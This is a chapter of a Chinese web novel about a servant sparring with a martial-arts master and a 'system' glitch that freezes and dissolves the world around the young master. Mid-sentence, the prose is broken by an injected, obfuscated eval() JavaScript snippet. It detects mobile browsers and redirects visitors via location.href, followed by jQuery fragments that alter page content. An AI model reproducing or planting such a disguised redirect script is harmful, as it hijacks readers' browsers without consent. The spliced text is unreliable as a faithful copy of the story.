“朱小少爷他到底为什么不能出去?”褚遥索性直接询问。
秋月是个人狠话不多的狗腿子,一看就撬不出什么信息,小鱼就不一样了,年少小姑娘,话总是多一些的。
可小鱼的嘴巴比蚌壳还紧:“褚遥哥,你就别打听了,咱们安心伺候主子不行么?”
【关键是我不想伺候他到死啊!】这话褚遥没法开口,只好迂回一下,“不是我多事,实在是不清楚个中缘由,怕又犯了忌讳。”
小鱼有些为难地叹口气,看褚遥的眼神活像欠债的迎头碰到了讨债鬼:“褚遥哥,我什么也不知道。”说罢生怕褚遥继续追问,扭头就往楼上去了。
褚遥看着小鱼的背影,轻啧了一声,心中好奇更甚。小鱼这边走不通,看小猫、小狗平时里隐隐以小鱼为首,估计也不好打听,或许应该再探探别的路子。
朱渟渊没有多赖床,天刚亮就起身了。褚遥伺候他洗漱时,他一边打呵欠,一边随意道:“褚遥,这两天你也不要出内院了,秋月,你看着他,不许他乱跑。”
褚遥眉头几不可查地一抖,扫了秋月一眼后垂下眼帘,面上乖觉地应道:“都听少爷的。”
反正内功心法到手了,她不介意装几天乖,等比武大会结束再寻机出武馆也不迟。
朱渟渊对褚遥的顺从十分满意,与朱祥晨练时不免要得意炫耀:“爹,我挑的人果真是最好的,你找的那些个陪练,如今都比不上他啦!”
“哦?褚小子进步这么大么?”朱祥诧异地看看几步开外的褚遥,“来,跟我练几手。”
褚遥大大方方抱拳:“请馆主指教!”她也正想看看自己实战的水平有没有进步。不过,自己在朱渟渊面前根本没什么招架之力,想来跟朱馆主对练也差不多吧?
抱着“白嫖的一对一私教不上就亏了”的心态,褚遥决定把这些天的搏击练习成果全使出来,能撑多久撑多久,是以下意识调动了一丝内力。
昨夜虽只打通了两个穴位,但没有点亮的穴位并不意味着内力就无法通过,褚遥很快感觉到一股热意涌入四肢百骸,身躯似乎更加灵便,双拳也好似注入了力量,有种说不出的畅快。
眸中精光一闪,褚遥抢步上前,出掌向朱祥劈去,掌势如风,而身形如鹤,轻灵潇洒。
朱祥大声叫好,连日来阴郁的心情不由一畅,也不留手,使出成名绝技“劈山掌”与褚遥相接。他本收着三分力道,谁知接触之下,被褚遥的掌力一震,手掌直到小臂都有些发麻,不由得暗自吃惊。
“这小子,从何处修炼的这等内力?”那种后发先至的劲力,虽然还很稚拙,有些后继无力,却分明不是单纯外门功夫能有的效果。疑心之下,朱祥出手也带了几分霸道,不再留手。
褚遥似乎没发现朱祥不再放水,她全心投入这场“小考”,思路清晰,平日观摩学来的套路在一次次切磋对练中早已融会贯通,此刻信手拈来。
她的练习对象,是武馆护院、前院学徒、地位相当的仆人,经验、技巧、威力无一能和朱馆主相比,但除了这些无名之辈,褚遥还有一个最佳陪练,就是朱渟渊。小少爷年纪虽不大,将自家老爹的本事却是学了个十成十,并在平日对招中一一喂给了褚遥。
这就导致褚遥对上全力施为的朱祥,有种开卷考试的酸爽感,越打越顺手,脑海中默默与朱渟渊平日的打法相印证。平日里吃瘪挨打复盘后琢磨出的应对招数,如今用在朱祥身上,竟比和朱渟渊过招时还轻松几分。
朱祥却是十分吃惊。他眼光不差,早就看出褚遥没有什么成体系的套路,多半还是从朱渟渊身上“偷师”学来的招式,却能用得十分恰如其分,不禁暗悔自己看走了眼。眼看短时间分不出胜负来,朱祥主动后退一步叫了停。
“褚遥,你很好!”朱祥朗声大笑,目露欣赏之色,“没想到你进步如此神速,之前倒是埋没了!”又沉吟道:“你根基扎实,只是没有正经学一门掌法,出手未免有些驳杂。我这里有一套《一气功》,既可吐纳调息,增长内力,又是一套拳掌功夫,现在传授与你,你好生练习!”
褚遥一愣,这《一气功》不是内功么,怎么又成了拳掌功夫?但她还是面露喜色,恭敬地行礼:“多谢馆主赐教!”
朱祥也不藏私,将拳法演示一遍后,又对着朱渟渊笑道:“文殊奴,你平日里也要勤加用功,可不要被褚遥越过你去了。”
朱渟渊哼笑,“爹,他要赢过我,可还早的很呢!”
今日要招待参加大会的各路武馆代表,朱祥没有多留,早膳后就到前院去应酬了。褚遥在偏房饱餐一顿,陪着小少爷在庭院里喂鱼。
春光正好,后院曲池里红鲤金鲤穿行于藻荇之间。阳气上升,有几盆睡莲已经萌发了小芽。朱渟渊在游廊上抛出一把鱼食,曲腿坐在美人靠上,命小猫唱曲,小狗则蹲在座屏后烹茶。
秋月明明是大丫鬟,但似乎不怎么得小少爷的欢心,用人靠前不用人靠后,被打发去给小少爷相看宠物。小少爷不知怎么想的,突然想养条狗,还得是猎犬。秋月无法,领了差事就出门了。
褚遥一边往桌上摆放四色茶果,一边柠檬:家大业大就是好啊,在后院里都能摆出游的排场。又十分羡慕秋月:这种帮闲的活应该放着让我来才对啊!
小猫的唱词带点荆楚方音,褚遥听不大懂,只觉得音韵与通俗流行乐大不相同。朱渟渊听着小曲,打着节拍,俊俏的小脸上一片怡然自得,丝毫看不出是个辣手摧残家仆的角色。
金玉其外,败絮其中。
褚遥冷漠看向游廊外的春景,脑海中默默演示《一气功》拳掌套路,反复数次,直到能在默想中顺利打完一套,毫无缺漏。还未来得及舒口气,忽然听到尖锐的电流噪音,仿佛信号受到干扰,熟悉的电子播报音断断续续传入耳中:
“恭喜你,通,通……警告,错误!警告,错误!关第一……警告,错误!哔——"
褚遥偏过头,下意识拍拍耳朵,时高时低的尖锐耳鸣令她面露痛苦之色,心中暗骂:“什么鬼,叽里咕噜说什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023038|193502||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么呢?”
与此同时,春风静息,垂柳半落,水面涟漪扩散到一半,小猫的口型圆张,似乎正在发出圆润的歌声,但那音符也仿佛停滞于半空,尚未传递到听众耳中。
以廊亭为中心,诡异的静止扩散开去,从内院,到中庭,到武馆大门,所有人的动作都停滞了——除了兀自捂着耳朵的褚遥,和停下节拍,倏然睁开眼睛的朱渟渊。
朱渟渊本是靠在朱红栏板上闭目听曲,褚遥耳鸣时,他听到了小猫珠玉般的歌喉中掺杂了诡异尖利的变调,声音如若有形,在那一瞬间,就从平滑的绸缎突兀变成了被人搓揉成团的锈铁。
朱渟渊睁开眼,又眨了眨,脸上渐渐浮现惊诧与茫然。
世界在折叠。画栋雕檐、嘉树芳菲、碧水青石,青衣女婢,像是被从天而降的万条无形之刃切割,成为无数条状物,在某种尖锐而无法形容的声浪中扭曲震颤,继而化作不可名状的光点。蓝、绿、红色的细小明亮色块从高处往下覆盖,汹涌汇聚,吞噬入目所及的一切。朱渟渊猛地站起身,看到自己倚靠的扶手、站立的清水砖都被色块浪涌般吞噬,只剩下脚下一方明亮但浑浊的圆形光斑。
他猛然看向褚遥所在的方向,稍稍松了口气。褚遥还在,但他好像一无所觉,正低着头捂着耳朵,神色痛苦。朱祥瞬间意识到,褚遥或许和自己一样,能听到怪异的声音。
“喂,褚遥,”朱渟渊大步向褚遥的方向走去,“发生怪事了,喂,你听见了吗?”他跑了几步,却发现这短短的距离宛如天堑,始终不能走到褚遥的身边。更糟的是,褚遥似乎听不见自己的声音。不论他怎么呼叫,褚遥始终维持着掩耳的动作。
朱渟渊迟疑地停下脚步,忽然觉得眼前的褚遥有些陌生。他抬头看向原本“天空”的方向,那里只有一片斑驳闪烁的细密光点,光点连通天地,空间感已经完全消弭。朱渟渊的心跳如逐渐加快节奏的鼓点,眼眸几乎挣出眼眶,徒劳地四下张望。这一切完全超出了他的认知,即便是志怪奇谭中也未曾描述过这样怪诞的场景。巨大的不安宛如阴影缠上脚踝,缓慢而不可阻挡地舔舐肌肤,攀援而上。朱渟渊微微战栗着,乌眸僵直地转向自己的脚下。
仿佛噩梦成真,粘稠灰雾不知何时覆盖了他立足的光斑,已经吞没了他的小腿。朱渟渊悚然拔腿,发觉竟然感知不到自己的脚,惊骇地大叫了一声:“啊!”他奋力扭动上半身,却无法拔出双腿,额上立刻见了汗,“别过来!别过来!”他不禁带上了哭腔,双臂徒劳地去掰扯无形的灰雾,“走开,别缠着我!”
无法形容的声浪在这恐怖空间内汇聚,逐渐呈现某种节律。朱渟渊捂住耳朵,但那锐鸣似乎可以直接传音入耳,终于,在朱渟渊几乎力竭的时刻,他听懂了那声音。
“警告!错误无法更正!尝试启动自查程序……”
朱渟渊颤抖着,听着整个天地间回荡的冷漠声音,无法理解自己听到了什么。
脚下一空,朱渟渊紧紧闭上眼,突然感觉一双有力的手捞住了自己。